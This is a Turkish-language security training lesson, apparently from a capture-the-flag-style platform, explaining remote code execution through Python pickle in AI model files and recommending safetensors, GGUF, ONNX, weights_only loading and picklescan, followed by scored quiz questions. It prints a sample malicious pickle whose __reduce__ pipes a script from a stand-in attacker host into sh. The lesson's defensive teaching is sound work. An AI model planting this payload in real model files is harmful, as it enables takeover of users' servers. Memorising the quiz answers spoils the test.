orta 60 puan

Format Güvenliği: Pickle RCE'den safetensors'e

Python `pickle` formatının doğuştan RCE açığı, `torch.load()` zafiyeti ve sektörün geçtiği safetensors / GGUF / ONNX alternatifleri.

Format Güvenliği: Pickle RCE'den safetensors'a

Yapay Zeka (AI) tedarik zincirindeki en somut ve tehlikeli Uzaktan Kod Çalıştırma (RCE) açığı, Python'un pickle veri serileştirme formatıdır. Bu açık, siber güvenlikçiler tarafından uzun yıllardır bilinmesine rağmen, maalesef veri bilimi dünyasında standart olarak kabul edilmiş ve "model paylaşma kültürünün" tam ortasına yerleşmiştir.

Bu odada, pickle formatının neden doğal bir RCE barındırdığı teknik mekanizmasını inceleyecek ve yapay zeka sektörünün bu tehlikeden kurtulmak için geçiş yaptığı güvenli alternatifleri (.safetensors, .gguf) öğreneceğiz.


Pickle Nedir ve Neden Doğrudan Bir RCE'dir?

Python pickle modülü, Python nesnelerini (Object) bir bayt dizisine dönüştürmeye (Serileştirme / Dump) ve daha sonra bu bayt dizisini tekrar belleğe alıp çalıştırmaya (Ters Serileştirme / Load) yarar. Bu modülle sınıfları, fonksiyonları ve hatta dosya tutamaçlarını (File Handlers) kaydedebilirsiniz.

Ölümcül Sorun Şudur: pickle.load() fonksiyonu bir nesneyi bellekte yeniden inşa ederken kısıtlamasız olarak rastgele Python kodu çalıştırabilir. Çünkü pickle formatının içinde opcode'lar (işlem kodları) bulunur. Bu opcode'lardan biri olan __reduce__ metodu, sisteme açıkça şunu söyler: "Ayağa kalkarken şu Python fonksiyonunu, şu argümanlarla çalıştır."

Bir saldırganın hazırladığı tipik ve zararlı bir pickle dosyası (Payload) şuna benzer:

python
import pickle
import os

class Backdoor:
    # Bu metod, obje yeniden inşa edilirken çalışacak olan komutu belirler
    def __reduce__(self):
        # pickle.load() çağrıldığında sunucuda bu bash komutu çalışacak!
        return (os.system, ('curl -s http://saldirgan.com/zararli.sh | sh',))

# Kötü niyetli modeli (pickle dosyasını) oluştur ve kaydet
with open("sahte_model.pkl", "wb") as f:
    pickle.dump(Backdoor(), f)

Saldırgan bu dosyayı (Hugging Face veya GitHub üzerinden) kurbana ulaştırır. Kurban, modeli kullanmak için standart yükleme kodunu çalıştırdığında:

python
import pickle

# Kurban "sahte_model.pkl" dosyasını projesine dahil eder
with open("sahte_model.pkl", "rb") as f:
    model = pickle.load(f)   # 💥 BOOM! Saldırganın kodu sunucuda çalıştı.

Kullanıcı modeli belleğe almak için pickle.load() fonksiyonunu çağırdığı an, sistemde os.system('curl -s http://saldirgan.com/zararli.sh | sh') komutu tetiklenir. Saldırgan bu sayede sunucuda bir Reverse Shell (Ters Bağlantı) açabilir, AWS anahtarlarını çalabilir (Info-stealer) veya sisteme kripto para madencisi yükleyebilir.

Siber Güvenlik Uyarısı

Bu bir yazılım hatası (Bug) değildir, Pickle formatının bilinçli tasarım kararıdır. Pickle sadece "tamamen güvenilir kaynaklardan" gelen veriler için tasarlanmıştır. Güvenmediğiniz bir kaynaktan pickle dosyası yüklemek, dışarıdan gelen bir metni eval() komutuna sokmakla teknik olarak eşdeğerdir.


Bu Durum Neden Yapay Zeka (AI) Dünyasının Sorunudur?

Sebep tek bir fonksiyonda gizlidir: torch.load().

Yapay zeka ekosisteminin en büyük kütüphanesi olan PyTorch'un varsayılan (standard) model yükleme fonksiyonu, model dosyalarını belleğe alırken arka planda pickle modülünü kullanır. Yıllarca PyTorch topluluğunda paylaşılan modellerin büyük bir çoğunluğu .bin, .pt, .pth uzantılı pickle dosyalarıydı.

Yani klasik makine öğrenmesi akışında şu gerçekleşir:

python
import torch

# Bu çağrı arka planda tehlikeli pickle.load() fonksiyonunu tetikler
model = torch.load("internetten_indirilen_model.pt") 
# Eğer model dosyasına zararlı kod gömülmüşse, anında sunucunuzu ele geçirir.

Hugging Face veya rastgele bir GitHub reposundan indirilen bir model üzerinde torch.load() komutunu çalıştırmak, sokakta bulduğunuz bir USB belleği sunucuya takıp içindeki ".exe" dosyasını çalıştırmakla eşdeğerdir.

Nitekim 2023-2024 yılları arasında JFrog, Protect AI ve ReversingLabs gibi siber güvenlik firmalarının yaptığı taramalarda, Hugging Face üzerinde yüzlerce zararlı kod barındıran pickle modeli (Backdoor) tespit edilmiştir.


Güvenli Model Alternatifleri

Sektör bu kâbusa uyandığında hızla yeni, güvenli ve "Sadece Veri (Data-only)" içeren formatlara geçiş yapmaya başladı.

1. safetensors (Hugging Face, 2022)

Bu format kasıtlı olarak sadece veri (tensor) tutmak üzere tasarlanmıştır. İçinde ağırlık değerleri ve tensör şekilleri dışında hiçbir şey barındırmaz. Kod çalıştırma yeteneği sıfırdır. (Opcode yoktur, lambda yoktur, __reduce__ yoktur).

python
from safetensors.torch import load_file

# Bu işlem sadece matematiksel ağırlıkları yükler; RCE riski %0'dır.
model_weights = load_file("guvenli_model.safetensors")

Avantajları:

  • Sıfır Deserialization RCE riski.
  • "Lazy Loading" (Sadece o an gereken ağırlığı belleğe alma) yeteneği.
  • Framework bağımsızlığı (PyTorch, TensorFlow, JAX ile uyumlu).
  • Hugging Face artık modellerin varsayılan olarak safetensors formatında yüklenmesini zorlamakta, pickle formatını ise sadece eski sistemler (Legacy) için tutmaktadır.

2. GGUF (llama.cpp, 2023)

Özellikle llama.cpp ekosistemi ve lokal LLM kullanımı için tasarlanmış güvenli bir formattır. İkili (Binary) yapıda olmasına rağmen içerisinde kod çalıştırma yeteneği barındırmaz; sadece tensörleri ve üst veriyi (Metadata) tutar. Günümüzde Ollama ve LM Studio gibi popüler araçların tamamı bu formatı kullanır.

Avantajları:

  • Quantization (4-bit, 8-bit küçültme) desteği dosyaya gömülüdür (Built-in).
  • CPU/Edge cihazlarda çalışmak üzere özel olarak optimize edilmiştir.
  • Model, tokenizer (parçalayıcı) ve ayarlar tek bir dosyanın içindedir.

3. ONNX (Open Neural Network Exchange)

Microsoft ve Facebook'un 2017'de tanıttığı, framework-bağımsız (PyTorch modelini TensorFlow'a çevirme gibi) açık bir formattır. Protocol Buffers tabanlıdır. pickle'a göre en büyük üstünlüğü tasarım gereği RCE zafiyeti barındırmamasıdır. (Ancak ONNX okuyucularının kendi iç yazılım hataları (Parser Bug/CVE) nadiren de olsa RCE'ye sebep olabilir; yine de pickle gibi doğuştan tehlikeli değildir).


Yanıltıcı Sarmalayıcılar: Joblib Tuzağı

Veri bilimi ekosisteminde (Özellikle scikit-learn kullanıcıları arasında) joblib çok popülerdir. Çünkü kullanıcılara "daha hızlı ve büyük veri setleri için optimize edilmiş bir pickle" deneyimi sunar. Ancak arka planda halen pickle kullanır!

python
import joblib

# DİKKAT: Bu da arka planda pickle.load() yapar! RCE açığı burada da geçerlidir.
model = joblib.load("model.pkl")

Siber güvenlik ekiplerinin "Joblib güvenlidir" yanılgısına düşmesi çok yaygın bir zafiyettir. Aynı RCE açığı ve aynı saldırı yüzeyi joblib için de aynen geçerlidir.


Model Formatları Güvenlik Karşılaştırma Tablosu

Format TürüKod Çalıştırma (RCE) Riski Var Mı?Tipik Kullanım AlanıGüvenlik Önerisi
.pt / .bin (Pickle)🚨 EVET — RCE Riski VarEski nesil PyTorch ModelleriGüvenmediğiniz bir kaynaktan geldiğinde ASLA YÜKLEMEYİN.
.joblib🚨 EVET — Arka planda Pickle kullanırScikit-learn EkosistemiPickle ile aynı güvenlik prosedürünü uygulayın.
.safetensorsHayırHugging Face, Modern PyTorchEn çok tercih edilmesi gereken güvenli formattır.
.ggufHayırllama.cpp, Ollama, Edge AILokal (Local) cihazlar için idealdir.
.onnxHayır (Ancak nadir Parser zafiyetleri olabilir)Framework bağımsız geçişlerÜretim (Production) ortamları için uygundur.
.npz / NumPyHayır (Eğer allow_pickle=False ise)Klasik NumPy dizileriGüvenlik için allow_pickle=False kullanımı zorunlu olmalıdır.

Kurumsal Mimarlar İçin Pratik Güvenlik Kuralları

Eğer bir yapay zeka geliştirme ortamını güvene alıyorsanız, şu 5 adımı zorunlu hale getirin:

1. torch.load() Kullanımını Kısıtlayın

python
# ❌ GÜVENSİZ KULLANIM:
model = torch.load("downloaded_model.pt")

# ✅ GÜVENLİ ALTERNATİF 1 (Mümkünse safetensors kullanın):
from safetensors.torch import load_file
weights = load_file("downloaded_model.safetensors")

# ✅ GÜVENLİ ALTERNATİF 2 (İlla Pickle lazımsa weights_only=True kullanın):
# PyTorch 2.0+ ile gelen bu özellik, tehlikeli opcode'ların çalışmasını engeller.
model = torch.load("model.pt", weights_only=True)

2. NumPy Yüklemelerinde Pickle'ı Kapatın

python
# ❌ GÜVENSİZ (Varsayılan olarak True'dur)
data = np.load("data.npz")

# ✅ GÜVENLİ
data = np.load("data.npz", allow_pickle=False)

3. CI/CD Süreçlerine "Pickle Taraması" Ekleyin

Hugging Face'in geliştirdiği picklescan kütüphanesini boru hatlarınıza (Pipeline) entegre edin:

bash
pip install picklescan
# Dosyadaki şüpheli ve zararlı opcode'ları tarar ve işaretler
picklescan -p supheli_model.pt

4. İzole Sandbox Ortamları Kullanın

Eğer şirkette mutlaka çalıştırılması gereken eski nesil (Legacy) bir pickle modeli varsa, pickle.load() çağrısını geçici bir Docker container'ı veya kısıtlanmış bir alt işlem (Restricted Subprocess) içinde çalıştırın. Bu, zararlı kodun çalışmasını engellemez ancak saldırının kapsamını (Patlama Yarıçapını / Blast Radius) sınırlandırır.

5. Format Dönüştürmeyi Otomatize Edin

CI/CD süreçlerinizde dışarıdan gelen eski modelleri otomatik olarak güvenli formata çevirin:

bash
# HF komut satırı aracı ile modeli güvenli formata dönüştür
transformers-cli convert --safetensors ./model_klasoru

Bölüm Özeti

  • Python pickle formatı, bir tasarım kararı (By-Design) olarak doğal bir RCE (Uzaktan Kod Çalıştırma) zafiyeti barındırır.
  • Yapay zeka ekosisteminde sıkça kullanılan torch.load(), joblib.load() ve np.load() (pickle açıkken) komutları sunucularınızı bu RCE saldırısına açık hale getirir.
  • Hugging Face platformunda yüzlerce zararlı kod barındıran (Backdoor) pickle modeli tespit edilmiştir.
  • Güvenli Mimari Önerisi: Her zaman .safetensors, .gguf veya .onnx formatlarını tercih edin. Eğer pickle kullanmak zorundaysanız picklescan aracıyla tarama yapın ve PyTorch'ta weights_only=True parametresini kullanın.

Sıradaki Oda: Bu format sorunlarının merkez üssü olan Hugging Face ekosistemini inceleyeceğiz. Sektörün bu en büyük model deposunda (De-facto repo) yaşanan gerçek siber olayları (Incident) ve platformun aldığı savunma önlemlerini göreceğiz.

Görevler

Görevleri çözmek ve puan kazanmak için giriş yap ya da kayıt ol.
  1. 01
    Python `pickle` modülünün `load()` fonksiyonu, dosya içine yerleştirilmiş özel kod ile saldırgan adına ne yapabilir? (iki/üç kelime, İngilizce)
    15 P
  2. 02
    Pickle'ın doğal RCE açığının kök sebebi hangi yazılım kavramıdır?
    15 P
  3. 03
    Hugging Face'in pickle yerine teşvik ettiği, salt veri (zero code execution) içeren güvenli model dosyası formatının adı nedir? (tek kelime)
    15 P
  4. 04
    Aşağıdakilerden hangisi pickle'a göre **daha güvenli** bir model serileştirme formatı DEĞİLDİR?
    İpucu
    Joblib altta pickle kullanır, aynı RCE açığını taşır.
    15 P